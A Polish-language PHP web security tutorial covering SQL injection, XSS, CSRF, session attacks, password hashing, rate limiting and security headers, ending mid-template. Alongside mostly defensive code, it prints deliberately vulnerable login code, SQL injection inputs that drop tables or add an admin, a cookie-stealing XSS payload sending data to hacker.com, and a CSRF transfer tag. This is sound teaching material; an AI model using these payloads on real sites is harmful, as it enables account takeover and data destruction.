Bezpieczeństwo aplikacji webowych to najważniejszy aspekt tworzenia profesjonalnych systemów. Nawet najpiękniejszy kod nie ma sensu, jeśli pozwala hakerom ukraść dane użytkowników, przejąć konta lub zniszczyć bazę danych.
Najczęstsze zagrożenia (OWASP Top 10):
- SQL Injection – wstrzykiwanie złośliwego kodu SQL
- XSS (Cross-Site Scripting) – wstrzykiwanie kodu JavaScript
- CSRF (Cross-Site Request Forgery) – fałszywe żądania
- Session Hijacking – kradzież sesji użytkownika
- Weak Authentication – słabe zabezpieczenia logowania
1. SQL Injection – Wstrzykiwanie kodu SQL
SQL Injection to atak polegający na wstawieniu złośliwego kodu SQL do zapytania, co pozwala:
- Wykraść całą bazę danych
- Usunąć wszystkie dane
- Zmienić hasła użytkowników
- Uzyskać dostęp administratora
Przykład ataku – Logowanie
Kod podatny na atak (NIGDY TAK NIE RÓB!):
<?php
//...
// NIEBEZPIECZNY KOD!
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($db, $query);
if (mysqli_num_rows($result) > 0) {
echo "Zalogowano!";
}
?>
Co się stanie gdy haker wpisze:
Username: admin' OR '1'='1
Password: cokolwiek
Zapytanie SQL stanie się:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'cokolwiek'
'1'='1' jest zawsze prawdą, więc haker zostanie zalogowany jako admin bez znajomości hasła!
Inne przykłady ataków SQL Injection
1. Wyciągnięcie całej bazy danych:
Username: admin'; SELECT * FROM users; --
2. Usunięcie tabeli:
Username: admin'; DROP TABLE users; --
3. Dodanie admina:
Username: admin'; INSERT INTO users (username, password, role) VALUES ('hacker', 'hack123', 'admin'); --
Ochrona przed SQL Injection – Prepared Statements
MySQLi – Prepared Statements:
<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
if ($db->connect_error) {
die('Błąd połączenia');
}
$db->set_charset('utf8mb4');
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = trim($_POST['username'] ?? '');
$password = $_POST['password'] ?? '';
// BEZPIECZNE - Prepared Statement
$stmt = $db->prepare("SELECT id, username, password FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$wynik = $stmt->get_result();
$user = $wynik->fetch_assoc();
$stmt->close();
if ($user && password_verify($password, $user['password'])) {
echo "Zalogowano pomyślnie!";
} else {
echo "Nieprawidłowy login lub hasło";
}
}
$db->close();
?>
PDO – Prepared Statements:
<?php
try {
$pdo = new PDO(
'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
'root',
'',
[
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false
]
);
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = trim($_POST['username'] ?? '');
$password = $_POST['password'] ?? '';
// BEZPIECZNE - Prepared Statement
$stmt = $pdo->prepare("SELECT id, username, password FROM users WHERE username = :username");
$stmt->execute(['username' => $username]);
$user = $stmt->fetch();
if ($user && password_verify($password, $user['password'])) {
echo "Zalogowano pomyślnie!";
} else {
echo "Nieprawidłowy login lub hasło";
}
}
} catch (PDOException $e) {
error_log("DB Error: {$e->getMessage()}");
die('Błąd bazy danych');
}
$pdo = null;
?>
Zasady ochrony przed SQL Injection:
- ZAWSZE używaj Prepared Statements
- Waliduj typy danych – rzutuj na
(int)dla liczb - Escapuj specjalne znaki –
mysqli_real_escape_string()(ostateczność) - NIGDY nie łącz SQL przez konkatenację z danymi użytkownika
2. XSS (Cross-Site Scripting) – Wstrzykiwanie JavaScript
XSS to atak polegający na wstrzyknięciu złośliwego kodu JavaScript do strony, który wykona się w przeglądarce innych użytkowników.
Skutki ataku XSS:
- Kradzież cookies i sesji
- Przekierowanie na fałszywe strony
- Zmiana treści strony
- Kradzież danych z formularzy
Przykład ataku XSS
Kod podatny na atak:
<?php
// NIEBEZPIECZNY KOD!
$username = $_GET['username'];
echo "Witaj, $username!";
?>
Haker wpisuje w URL:
strona.php?username=<script>alert('Hacked!')</script>
JavaScript się wykona i użytkownik zobaczy alert „Hacked!”.
Bardziej niebezpieczny przykład – Kradzież sesji
strona.php?username=<script>document.location='http://hacker.com/steal.php?cookie='+document.cookie</script>
Ten kod wysyła cookies użytkownika (w tym ID sesji) do hakera!
Ochrona przed XSS – htmlspecialchars()
<?php
// BEZPIECZNY KOD
$username = $_GET['username'] ?? 'Gość';
// Escapujemy specjalne znaki HTML
$safe_username = htmlspecialchars($username, ENT_QUOTES, 'UTF-8');
echo "Witaj, {$safe_username}!";
?>
Co robi htmlspecialchars()?
Zamienia:
<na<>na>"na"'na'&na&
Dzięki temu <script> staje się <script> i jest wyświetlane jako tekst, nie kod!
Przykład – Komentarze na blogu
<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'blog');
$db->set_charset('utf8mb4');
// Dodawanie komentarza
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$author = trim($_POST['author'] ?? '');
$comment = trim($_POST['comment'] ?? '');
if (!empty($author) && !empty($comment)) {
// Zapisujemy RAW dane do bazy (NIE escapujemy przy zapisie!)
$stmt = $db->prepare("INSERT INTO comments (author, comment, created_at) VALUES (?, ?, NOW())");
$stmt->bind_param("ss", $author, $comment);
if ($stmt->execute()) {
header("Location: komentarze.php");
exit;
}
$stmt->close();
}
}
// Wyświetlanie komentarzy
$stmt = $db->prepare("SELECT * FROM comments ORDER BY created_at DESC LIMIT 10");
$stmt->execute();
$wynik = $stmt->get_result();
$komentarze = $wynik->fetch_all(MYSQLI_ASSOC);
$stmt->close();
$db->close();
?>
<!DOCTYPE html>
<html lang="pl">
<head>
<meta charset="UTF-8">
<title>Komentarze</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 50px auto;
padding: 20px;
}
.comment {
background: #f4f4f4;
padding: 15px;
margin: 10px 0;
border-radius: 5px;
border-left: 4px solid #667eea;
}
.comment-author {
font-weight: bold;
color: #667eea;
}
.comment-text {
margin-top: 10px;
color: #333;
}
.form-group {
margin-bottom: 15px;
}
input, textarea {
width: 100%;
padding: 10px;
border: 1px solid #ddd;
border-radius: 4px;
}
button {
padding: 10px 20px;
background: #667eea;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
</style>
</head>
<body>
<h1>Komentarze na blogu</h1>
<form method="POST">
<div class="form-group">
<input type="text" name="author" placeholder="Twoje imię" required>
</div>
<div class="form-group">
<textarea name="comment" placeholder="Twój komentarz" rows="5" required></textarea>
</div>
<button type="submit">Dodaj komentarz</button>
</form>
<h2>Najnowsze komentarze:</h2>
<?php foreach ($komentarze as $koment): ?>
<div class="comment">
<div class="comment-author">
<?= htmlspecialchars($koment['author']) ?>
</div>
<div class="comment-text">
<?= nl2br(htmlspecialchars($koment['comment'])) ?>
</div>
<small><?= date('d.m.Y H:i', strtotime($koment['created_at'])) ?></small>
</div>
<?php endforeach; ?>
</body>
</html>
Zasady ochrony przed XSS:
- ZAWSZE używaj
htmlspecialchars()przy wyświetlaniu danych od użytkownika - Użyj
ENT_QUOTESaby escapować też apostrofy - Ustaw charset na UTF-8
- Waliduj dane wejściowe (whitelist, nie blacklist)
- Użyj Content Security Policy (CSP) – o tym dalej
A tutaj można się sprawdzić: https://xss-game.appspot.com/
3. CSRF (Cross-Site Request Forgery) – Fałszywe żądania
CSRF to atak polegający na zmuszeniu zalogowanego użytkownika do wykonania nieautoryzowanej akcji.
Przykład ataku: Użytkownik jest zalogowany na bank.pl. Haker wysyła mu e-mail z linkiem:
<img src="http://bank.pl/transfer.php?to=hacker&amount=10000">
Gdy użytkownik otworzy e-mail, przeglądarka automatycznie wyśle żądanie do bank.pl z jego cookies/sesją, co wykona przelew!
Ochrona przed CSRF – Tokeny
- Przy wyświetleniu formularza generujemy unikalny token
- Token zapisujemy w sesji
- Token dodajemy jako ukryte pole w formularzu
- Przy odbiorze formularza sprawdzamy czy token się zgadza
Implementacja tokenów CSRF
<?php
session_start();
// Funkcja generująca token CSRF
function generateCSRFToken() {
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32)); // bezpieczny generator losowy
}
return $_SESSION['csrf_token'];
}
// Funkcja sprawdzająca token CSRF
function verifyCSRFToken($token) {
if (!isset($_SESSION['csrf_token'])) {
return false;
}
return hash_equals($_SESSION['csrf_token'], $token); //bezpieczne porównywanie (zapobiega timing attack)
}
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');
$errors = [];
$success = false;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Sprawdź token CSRF
$csrf_token = $_POST['csrf_token'] ?? '';
if (!verifyCSRFToken($csrf_token)) {
die('Nieprawidłowy token CSRF! Możliwa próba ataku.');
}
// Token poprawny - przetwarzamy formularz
$username = trim($_POST['username'] ?? '');
$email = trim($_POST['email'] ?? '');
if (!empty($username) && !empty($email)) {
$stmt = $db->prepare("INSERT INTO users (username, email, created_at) VALUES (?, ?, NOW())");
$stmt->bind_param("ss", $username, $email);
if ($stmt->execute()) {
$success = true;
// Usuń token po użyciu (jednorazowy)
unset($_SESSION['csrf_token']);
}
$stmt->close();
}
}
// Generuj nowy token dla formularza
$csrf_token = generateCSRFToken();
$db->close();
?>
<!DOCTYPE html>
<html lang="pl">
<head>
<meta charset="UTF-8">
<title>Rejestracja z ochroną CSRF</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 600px;
margin: 50px auto;
padding: 20px;
}
.form-group {
margin-bottom: 15px;
}
input {
width: 100%;
padding: 10px;
border: 1px solid #ddd;
border-radius: 4px;
}
button {
padding: 10px 20px;
background: #667eea;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
.success {
background: #d4edda;
color: #155724;
padding: 15px;
border-radius: 5px;
margin-bottom: 20px;
}
</style>
</head>
<body>
<h1>Rejestracja użytkownika</h1>
<?php if ($success): ?>
<div class="success">
Użytkownik został zarejestrowany pomyślnie!
</div>
<?php endif; ?>
<form method="POST">
<!-- Ukryty token CSRF -->
<input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrf_token) ?>">
<div class="form-group">
<label>Username:</label>
<input type="text" name="username" required>
</div>
<div class="form-group">
<label>Email:</label>
<input type="email" name="email" required>
</div>
<button type="submit">Zarejestruj</button>
</form>
<p><small>Token CSRF: <?= substr($csrf_token, 0, 16) ?>...</small></p>
</body>
</html>
Zasady ochrony przed CSRF:
- Używaj tokenów CSRF dla wszystkich formularzy zmieniających dane
- Token musi być unikalny i nieprzewidywalny
- Sprawdzaj token po stronie serwera
- Token powinien być przypisany do sesji użytkownika
- Używaj metody POST dla operacji zmieniających dane (nigdy GET!)
4. Session Hijacking i Session Fixation
Session Hijacking – Kradzież sesji
Czym jest? Przejęcie ID sesji innego użytkownika, co pozwala hakerowi zalogować się jako ten użytkownik.
- Haker przechwytuje ID sesji (przez XSS, packet sniffing, itp.)
- Ustawia to ID w swojej przeglądarce
- Serwer myśli, że to legalny użytkownik
Ochrona przed Session Hijacking
<?php
session_start();
// Funkcja regenerująca ID sesji
function secureSession() {
// Regeneruj ID sesji przy każdym logowaniu
if (!isset($_SESSION['initiated'])) {
session_regenerate_id(true);
$_SESSION['initiated'] = true;
}
// Sprawdź IP użytkownika
if (!isset($_SESSION['user_ip'])) {
$_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
} elseif ($_SESSION['user_ip'] !== $_SERVER['REMOTE_ADDR']) {
// IP się zmienił - możliwy atak!
session_destroy();
die('Sesja wygasła ze względów bezpieczeństwa');
}
// Sprawdź User Agent
if (!isset($_SESSION['user_agent'])) {
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
} elseif ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
// User Agent się zmienił - możliwy atak!
session_destroy();
die('Sesja wygasła ze względów bezpieczeństwa');
}
// Timeout sesji (30 minut)
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > 1800)) {
session_unset();
session_destroy();
header("Location: logowanie.php?timeout=1");
exit;
}
$_SESSION['last_activity'] = time();
}
// Wywołaj przy każdym żądaniu
secureSession();
?>
Session Fixation – Narzucenie ID sesji
Czym jest? Haker narzuca swoje ID sesji ofierze, a gdy ofiara się zaloguje, haker również ma dostęp do konta.
Ochrona:
<?php
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = trim($_POST['username'] ?? '');
$password = $_POST['password'] ?? '';
// Sprawdzenie użytkownika w bazie...
// (kod z poprzednich przykładów)
if ($user && password_verify($password, $user['password'])) {
// REGENERUJ ID SESJI PRZY LOGOWANIU!
session_regenerate_id(true);
// Zapisz dane użytkownika
$_SESSION['user_id'] = $user['id'];
$_SESSION['username'] = $user['username'];
$_SESSION['logged_in'] = true;
// Zapisz fingerprint
$_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
header("Location: panel.php");
exit;
}
}
?>
Bezpieczna konfiguracja sesji w php.ini
; Używaj tylko cookies (nie URL)
session.use_only_cookies = 1
; Niedostępne dla JavaScript
session.cookie_httponly = 1
; Tylko przez HTTPS (w produkcji)
session.cookie_secure = 1
; Ochrona przed CSRF
session.cookie_samesite = "Strict"
; Długość ID sesji
session.sid_length = 48
; Bezpieczny generator
session.sid_bits_per_character = 6
W PHP:
<?php
// Konfiguracja sesji
ini_set('session.use_only_cookies', 1);
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1); // Tylko dla HTTPS!
ini_set('session.cookie_samesite', 'Strict');
session_start();
?>
5. Password Hashing – Bezpieczne hasła
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = trim($_POST['username'] ?? '');
$password = $_POST['password'] ?? '';
// Walidacja hasła
if (strlen($password) < 8) {
$errors[] = "Hasło musi mieć min. 8 znaków";
}
if (empty($errors)) {
// Hashuj hasło (automatycznie używa bcrypt + salt)
$password_hash = password_hash($password, PASSWORD_DEFAULT);
// Zapisz hash do bazy
$stmt = $db->prepare("INSERT INTO users (username, password) VALUES (?, ?)");
$stmt->bind_param("ss", $username, $password_hash);
$stmt->execute();
$stmt->close();
}
}
?>
Hash wygląda tak:
$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi
$2y$– algorytm (bcrypt)10– cost (2^10 iteracji)- Losowy salt + hash
Logowanie:
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = trim($_POST['username'] ?? '');
$password = $_POST['password'] ?? '';
// Pobierz użytkownika z bazy
$stmt = $db->prepare("SELECT id, username, password FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$wynik = $stmt->get_result();
$user = $wynik->fetch_assoc();
$stmt->close();
// Sprawdź hasło
if ($user && password_verify($password, $user['password'])) {
// Sprawdź czy hash wymaga aktualizacji
if (password_needs_rehash($user['password'], PASSWORD_DEFAULT)) {
$new_hash = password_hash($password, PASSWORD_DEFAULT);
$stmt_update = $db->prepare("UPDATE users SET password = ? WHERE id = ?");
$stmt_update->bind_param("si", $new_hash, $user['id']);
$stmt_update->execute();
$stmt_update->close();
}
echo "Zalogowano pomyślnie!";
} else {
echo "Nieprawidłowy login lub hasło";
}
}
?>
Zasady bezpiecznych haseł:
- Używaj
password_hash()zPASSWORD_DEFAULT - NIGDY nie używaj MD5 ani SHA1 do haseł!
- Wymagaj min. 8 znaków (lepiej 12+)
- Sprawdzaj siłę hasła (wielkie/małe litery, cyfry, znaki specjalne)
- Nie przechowuj podpowiedzi do hasła
6. Walidacja i sanityzacja danych
Walidacja – czy dane są poprawne?
<?php
$email = trim($_POST['email'] ?? '');
$age = (int)($_POST['age'] ?? 0);
$url = trim($_POST['url'] ?? '');
// Walidacja email
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$errors[] = "Nieprawidłowy format email";
}
// Walidacja wieku
if ($age < 18 || $age > 120) {
$errors[] = "Wiek musi być między 18 a 120";
}
// Walidacja URL
if (!filter_var($url, FILTER_VALIDATE_URL)) {
$errors[] = "Nieprawidłowy format URL";
}
// Walidacja wyrażeniem regularnym
$username = trim($_POST['username'] ?? '');
if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
$errors[] = "Username: 3-20 znaków, tylko litery, cyfry i podkreślnik";
}
?>
Sanityzacja – oczyszczanie danych
<?php
// Usuń tagi HTML
$text = strip_tags($_POST['text']);
// Usuń białe znaki
$username = trim($_POST['username']);
// Sanityzacja email
$email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL);
// Sanityzacja URL
$url = filter_var($_POST['url'], FILTER_SANITIZE_URL);
// Sanityzacja liczby
$age = filter_var($_POST['age'], FILTER_SANITIZE_NUMBER_INT);
// Rzutowanie typu
$id = (int)$_GET['id'];
$price = (float)$_POST['price'];
$is_active = (bool)$_POST['active'];
?>
Whitelist vs Blacklist
Blacklist (ZŁE):
<?php
// Próba blokowania złych wartości - NIGDY nie złapiesz wszystkich!
$sort = $_GET['sort'];
if ($sort !== 'DROP' && $sort !== 'DELETE' && $sort !== 'UPDATE') {
$query = "SELECT * FROM users ORDER BY $sort"; // NADAL NIEBEZPIECZNE!
}
?>
Whitelist (DOBRE):
<?php
// Lista dozwolonych wartości
$allowed_sort = ['username', 'email', 'created_at', 'level'];
$sort = $_GET['sort'] ?? 'username';
if (in_array($sort, $allowed_sort)) {
$query = "SELECT * FROM users ORDER BY $sort"; // BEZPIECZNE
} else {
$sort = 'username'; // Domyślna wartość
$query = "SELECT * FROM users ORDER BY $sort";
}
?>
7. Rate Limiting – Ograniczanie prób logowania
Bez rate limiting haker może próbować tysięcy haseł w sekundę (brute force attack).
Implementacja prostego rate limitera
<?php
session_start();
function checkRateLimit($max_attempts = 5, $timeout = 300) {
// Inicjalizacja countera
if (!isset($_SESSION['login_attempts'])) {
$_SESSION['login_attempts'] = 0;
$_SESSION['first_attempt_time'] = time();
}
// Sprawdź czy timeout minął
if (time() - $_SESSION['first_attempt_time'] > $timeout) {
// Reset po timeout
$_SESSION['login_attempts'] = 0;
$_SESSION['first_attempt_time'] = time();
unset($_SESSION['blocked_until']);
}
// Sprawdź czy zablokowany
if (isset($_SESSION['blocked_until']) && time() < $_SESSION['blocked_until']) {
$remaining = $_SESSION['blocked_until'] - time();
$minutes = ceil($remaining / 60);
return [
'allowed' => false,
'message' => "Za dużo prób logowania. Spróbuj ponownie za {$minutes} minut."
];
}
// Sprawdź liczbę prób
if ($_SESSION['login_attempts'] >= $max_attempts) {
// Zablokuj na 5 minut
$_SESSION['blocked_until'] = time() + $timeout;
return [
'allowed' => false,
'message' => "Za dużo prób logowania. Zablokowano na 5 minut."
];
}
return ['allowed' => true];
}
function incrementLoginAttempts() {
$_SESSION['login_attempts']++;
}
function resetLoginAttempts() {
$_SESSION['login_attempts'] = 0;
unset($_SESSION['blocked_until']);
unset($_SESSION['first_attempt_time']);
}
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');
$errors = [];
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Sprawdź rate limit
$rate_limit = checkRateLimit();
if (!$rate_limit['allowed']) {
$errors[] = $rate_limit['message'];
} else {
$username = trim($_POST['username'] ?? '');
$password = $_POST['password'] ?? '';
if (!empty($username) && !empty($password)) {
$stmt = $db->prepare("SELECT id, username, password FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$wynik = $stmt->get_result();
$user = $wynik->fetch_assoc();
$stmt->close();
if ($user && password_verify($password, $user['password'])) {
// Sukces - reset countera
resetLoginAttempts();
$_SESSION['user_id'] = $user['id'];
$_SESSION['username'] = $user['username'];
$_SESSION['logged_in'] = true;
$db->close();
header("Location: panel.php");
exit;
} else {
// Niepowodzenie - zwiększ counter
incrementLoginAttempts();
$errors[] = "Nieprawidłowy login lub hasło";
}
}
}
}
$db->close();
// Sprawdź ile pozostało prób
$attempts_left = 5 - ($_SESSION['login_attempts'] ?? 0);
?>
<!DOCTYPE html>
<html lang="pl">
<head>
<meta charset="UTF-8">
<title>Logowanie z Rate Limiting</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 400px;
margin: 50px auto;
padding: 20px;
}
.form-group {
margin-bottom: 15px;
}
input {
width: 100%;
padding: 10px;
border: 1px solid #ddd;
border-radius: 4px;
}
button {
width: 100%;
padding: 10px;
background: #667eea;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
.error {
background: #f8d7da;
color: #721c24;
padding: 15px;
border-radius: 5px;
margin-bottom: 20px;
}
.warning {
background: #fff3cd;
color: #856404;
padding: 10px;
border-radius: 5px;
margin-bottom: 20px;
}
</style>
</head>
<body>
<h1>Logowanie</h1>
<?php if (!empty($errors)): ?>
<div class="error">
<?php foreach ($errors as $error): ?>
<p><?= htmlspecialchars($error) ?></p>
<?php endforeach; ?>
</div>
<?php endif; ?>
<?php if ($attempts_left > 0 && $attempts_left < 5): ?>
<div class="warning">
Pozostało prób: <?= $attempts_left ?>
</div>
<?php endif; ?>
<form method="POST">
<div class="form-group">
<input type="text" name="username" placeholder="Username" required>
</div>
<div class="form-group">
<input type="password" name="password" placeholder="Hasło" required>
</div>
<button type="submit">Zaloguj</button>
</form>
</body>
</html>
8. Security Headers – Nagłówki bezpieczeństwa
Content Security Policy (CSP)
Zapobiega XSS poprzez kontrolowanie źródeł zasobów (skrypty, style, obrazy).
<?php
// Podstawowy CSP - tylko własne źródła
header("Content-Security-Policy: default-src 'self'");
// Bardziej szczegółowy
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self' https://fonts.gstatic.com");
?>
X-Frame-Options
Zapobiega clickjacking (umieszczaniu strony w iframe).
<?php
// Zabroń umieszczania w iframe
header("X-Frame-Options: DENY");
// Lub tylko w tej samej domenie
header("X-Frame-Options: SAMEORIGIN");
?>
X-Content-Type-Options
Zapobiega MIME sniffing.
<?php
header("X-Content-Type-Options: nosniff");
?>
Strict-Transport-Security (HSTS)
Wymusza HTTPS.
<?php
// Wymuszaj HTTPS przez rok
header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
?>
X-XSS-Protection
Włącza wbudowaną ochronę przed XSS w przeglądarce.
<?php
header("X-XSS-Protection: 1; mode=block");
?>
Referrer-Policy
Kontroluje jak dużo informacji przekazywać w nagłówku Referer.
<?php
header("Referrer-Policy: strict-origin-when-cross-origin");
?>
Permissions-Policy
Kontroluje dostęp do API przeglądarki.
<?php
header("Permissions-Policy: geolocation=(), microphone=(), camera=()");
?>
Wszystkie nagłówki razem
<?php
function setSecurityHeaders() {
// CSP
header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;");
// Clickjacking
header("X-Frame-Options: SAMEORIGIN");
// MIME sniffing
header("X-Content-Type-Options: nosniff");
// XSS Protection
header("X-XSS-Protection: 1; mode=block");
// HTTPS (tylko w produkcji!)
// header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
// Referrer
header("Referrer-Policy: strict-origin-when-cross-origin");
// Permissions
header("Permissions-Policy: geolocation=(), microphone=(), camera=()");
}
// Wywołaj na początku każdego skryptu
setSecurityHeaders();
?>
9. HTTPS i bezpieczne przesyłanie danych
Bez HTTPS:
- Hasła przesyłane w plain text
- Dane mogą być podsłuchiwane (Man-in-the-Middle attack)
- Dane mogą być modyfikowane w tranzycie
Wymuszanie HTTPS w PHP
<?php
// Sprawdź czy połączenie jest przez HTTPS
if (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] !== 'on') {
// Przekieruj na HTTPS
$redirect_url = "https://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
header("Location: $redirect_url", true, 301);
exit;
}
?>
Wymuszanie HTTPS w .htaccess
# Przekieruj wszystko na HTTPS
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
10. Kompleksowy przykład – Bezpieczny system logowania
<?php
session_start();
// Security headers
header("Content-Security-Policy: default-src 'self'");
header("X-Frame-Options: SAMEORIGIN");
header("X-Content-Type-Options: nosniff");
header("X-XSS-Protection: 1; mode=block");
// Wymuszanie HTTPS (odkomentuj w produkcji)
// if (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] !== 'on') {
// header("Location: https://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
// exit;
// }
// Konfiguracja sesji
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 0); // Zmień na 1 w produkcji z HTTPS
ini_set('session.cookie_samesite', 'Strict');
// CSRF Token
function generateCSRFToken() {
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
function verifyCSRFToken($token) {
return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $token);
}
// Rate Limiting
function checkRateLimit() {
if (!isset($_SESSION['login_attempts'])) {
$_SESSION['login_attempts'] = 0;
$_SESSION['first_attempt_time'] = time();
}
if (time() - $_SESSION['first_attempt_time'] > 300) {
$_SESSION['login_attempts'] = 0;
$_SESSION['first_attempt_time'] = time();
unset($_SESSION['blocked_until']);
}
if (isset($_SESSION['blocked_until']) && time() < $_SESSION['blocked_until']) {
return ['allowed' => false, 'message' => 'Za dużo prób. Zablokowano na 5 minut.'];
}
if ($_SESSION['login_attempts'] >= 5) {
$_SESSION['blocked_until'] = time() + 300;
return ['allowed' => false, 'message' => 'Za dużo prób. Zablokowano na 5 minut.'];
}
return ['allowed' => true];
}
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
if ($db->connect_error) {
error_log("Connection error: " . $db->connect_error);
die('Błąd połączenia z bazą danych');
}
$db->set_charset('utf8mb4');
$errors = [];
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Sprawdź CSRF token
if (!verifyCSRFToken($_POST['csrf_token'] ?? '')) {
die('Nieprawidłowy token CSRF');
}
// Sprawdź rate limit
$rate_limit = checkRateLimit();
if (!$rate_limit['allowed']) {
$errors[] = $rate_limit['message'];
} else {
// Walidacja danych
$username = trim($_POST['username'] ?? '');
$password = $_POST['password'] ?? '';
if (empty($username)) {
$errors[] = "Username jest wymagany";
}
if (empty($password)) {
$errors[] = "Hasło jest wymagane";
}
if (empty($errors)) {
// Prepared statement - ochrona przed SQL Injection
$stmt = $db->prepare("SELECT id, username, password FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$wynik = $stmt->get_result();
$user = $wynik->fetch_assoc();
$stmt->close();
// Password verification
if ($user && password_verify($password, $user['password'])) {
// Sukces - reset rate limiter
$_SESSION['login_attempts'] = 0;
unset($_SESSION['blocked_until']);
// Regeneruj ID sesji - ochrona przed Session Fixation
session_regenerate_id(true);
// Usuń stary CSRF token
unset($_SESSION['csrf_token']);
// Zapisz dane użytkownika
$_SESSION['user_id'] = $user['id'];
$_SESSION['username'] = $user['username'];
$_SESSION['logged_in'] = true;
$_SESSION['login_time'] = time();
// Fingerprint sesji - ochrona przed Session Hijacking
$_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$db->close();
header("Location: panel.php");
exit;
} else {
// Niepowodzenie - zwiększ counter
$_SESSION['login_attempts']++;
$errors[] = "Nieprawidłowy username lub hasło";
}
}
}
}
$db->close();
// Generuj token dla formularza
$csrf_token = generateCSRFToken();
$attempts_left = 5 - ($_SESSION['login_attempts'] ?? 0);
?>
<!DOCTYPE html>
<html lang="pl">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Bezpieczne logowanie</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: Arial, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
display: flex;
justify-content: center;
align-items: center;
padding: 20px;
}
.login-container {
background: white;
padding: 40px;
border-radius: 10px;
box-shadow: 0 10px 25px rgba(0,0,0,0.2);
max-width: 400px;
width: 100%;
}
h1 {
text-align: center;
color: #333;
margin-bottom: 30px;
}
.form-group {
margin-bottom: 20px;
}
label {
display: block;
margin-bottom: 5px;
color: #555;
font-weight: 500;
}
input {
width: 100%;
padding: 12px;
border: 1px solid #ddd;
border-radius: 5px;
font-size: 14px;
}
input:focus {
outline: none;
border-color: #667eea;
}
button {
width: 100%;
padding: 12px;
background: #667eea;
color: white;
border: none;
border-radius: 5px;
font-size: 16px;
font-weight: bold;
cursor: pointer;
}
button:hover {
background: #764ba2;
}
.error {
background: #f8d7da;
color: #721c24;
padding: 15px;
border-radius: 5px;
margin-bottom: 20px;
border-left: 4px solid #f5c6cb;
}
.warning {
background: #fff3cd;
color: #856404;
padding: 10px;
border-radius: 5px;
margin-bottom: 20px;
text-align: center;
}
.security-info {
background: #e7f3ff;
color: #0c5460;
padding: 15px;
border-radius: 5px;
margin-top: 20px;
font-size: 12px;
}
.security-info h3 {
margin-bottom: 10px;
}
.security-info ul {
margin-left: 20px;
}
</style>
</head>
<body>
<div class="login-container">
<h1>Bezpieczne logowanie</h1>
<?php if (!empty($errors)): ?>
<div class="error">
<?php foreach ($errors as $error): ?>
